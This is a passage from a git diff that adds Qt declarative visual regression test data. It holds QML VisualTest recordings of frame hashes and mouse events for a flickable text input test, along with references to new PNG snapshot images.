+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2848
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 4
+        button: 1
+        buttons: 1
+        x: 55; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2864
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2880
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2896
+        image: "qtbug-15818.3.png"
+    }
+    Frame {
+        msec: 2912
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2928
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2944
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2960
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2976
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 55; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2992
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3008
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3024
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3040
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3056
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3072
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3088
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3104
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3120
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3136
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3152
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3168
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3184
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3200
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3216
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3232
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3248
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3264
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3280
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3296
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3312
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3328
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3344
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3360
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3376
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3392
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3408
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3424
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3440
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3456
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3472
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3488
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3504
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3520
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3536
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3552
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3568
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3584
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3600
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3616
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3632
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3648
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3664
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 3680
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png
new file mode 100644
index 0000000..431bed8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png
new file mode 100644
index 0000000..9708b4f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png
new file mode 100644
index 0000000..7034946
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png
new file mode 100644
index 0000000..7c56f00
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png
new file mode 100644
index 0000000..431bed8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png
new file mode 100644
index 0000000..30b7a08
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png
new file mode 100644
index 0000000..54e13cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png
new file mode 100644
index 0000000..34c099b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml
new file mode 100644
index 0000000..de69c6a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml
@@ -0,0 +1,3279 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "flickableInput.0.png"
+    }
+    Frame {
+        msec: 32
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 48
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 64
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 80
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 96
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 112
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 128
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 144
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 160
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 176
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 192
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 208
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 224
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 240
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 256
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 272
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 288
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 304
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 320
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 336
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 352
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 368
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 384
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 400
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 416
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 432
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 448
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 464
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 480
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 496
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 512
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 528
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 544
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 560
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 576
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 592
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 608
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 624
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 640
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 656
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 672
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 688
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 704
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 720
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 736
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 752
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 768
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 39; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 784
+        hash: "6ef5c0ad42aca699271501f9358d3de6"
+    }
+    Frame {
+        msec: 800
+        hash: "6ef5c0ad42aca699271501f9358d3de6"
+    }
+    Frame {
+        msec: 816
+        hash: "6ef5c0ad42aca699271501f9358d3de6"
+    }
+    Frame {
+        msec: 832
+        hash: "6ef5c0ad42aca699271501f9358d3de6"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 41; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 43; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 848
+        hash: "6ef5c0ad42aca699271501f9358d3de6"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 46; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 50; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 864
+        hash: "c54c442eb01186dc8d5be7ff7b242aa1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 53; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 57; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 880
+        hash: "8eb5252ed783eae4dd998ea5a451c6bb"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 62; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 68; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 896
+        hash: "f80423adedb40b1c9ed88bb171590626"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 73; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 79; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 912
+        hash: "afb2d22b60113d05b038fd09b5966151"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 84; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 90; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 928
+        hash: "e0a4a243acd0c4f3960ea77fdb5e30c1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 95; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 101; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 944
+        hash: "24c5185a748dc4b02fdd40fd2d0420ff"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 106; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 111; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 960
+        hash: "e271a2cd9847828da3e39c1e618f828a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 117; y: 7
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 122; y: 7
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 976
+        image: "flickableInput.1.png"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 127; y: 7
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 132; y: 6
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 992
+        hash: "3f40064784f716ce75ef9390d90a1eac"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 136; y: 6
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 139; y: 6
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1008
+        hash: "77a95b3d8d4682eb8e613bd86ea7b3c7"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 142; y: 5
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 145; y: 5
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1024
+        hash: "308ea214fc63e47141623bc436df0efc"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 148; y: 5
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 150; y: 5
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1040
+        hash: "3e0a860238ab282aebd733a92321f86f"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 154; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 156; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1056
+        hash: "ed4c6a18ed003922f5724ebc8e798c6c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 159; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 161; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1072
+        hash: "ed4c6a18ed003922f5724ebc8e798c6c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 163; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 165; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1088
+        hash: "90bc837ada7b6cd08028e790b1a87ae2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 166; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 169; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1104
+        hash: "90bc837ada7b6cd08028e790b1a87ae2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 170; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 171; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1120
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 173; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1136
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 174; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1152
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1168
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 175; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1184
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 176; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1200
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1216
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1232
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1248
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1264
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1280
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1296
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1312
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1328
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1344
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1360
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1376
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 176; y: 4
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1392
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1408
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1424
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1440
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1456
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1472
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1488
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1504
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1520
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1536
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1552
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1568
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1584
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1600
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 1616
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1632
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1648
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1664
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1680
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1696
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1712
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1728
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1744
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1760
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1776
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1792
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1808
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1824
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1840
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1856
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1872
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1888
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1904
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1920
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1936
+        image: "flickableInput.2.png"
+    }
+    Frame {
+        msec: 1952
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1968
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 1984
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2000
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2016
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2032
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2048
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2064
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2080
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2096
+        hash: "44850466b240778a11644fdea11d26d0"
+    }
+    Frame {
+        msec: 2112
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2128
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2144
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2160
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2176
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2192
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2208
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2224
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2240
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2256
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2272
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Frame {
+        msec: 2288
+        hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 17; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2304
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2320
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2336
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2352
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2368
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2384
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2400
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 2416
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 12
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2432
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 13
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 14
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2448
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 15
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2464
+        hash: "6865c870740497e31dfeb91e09737206"
+    }
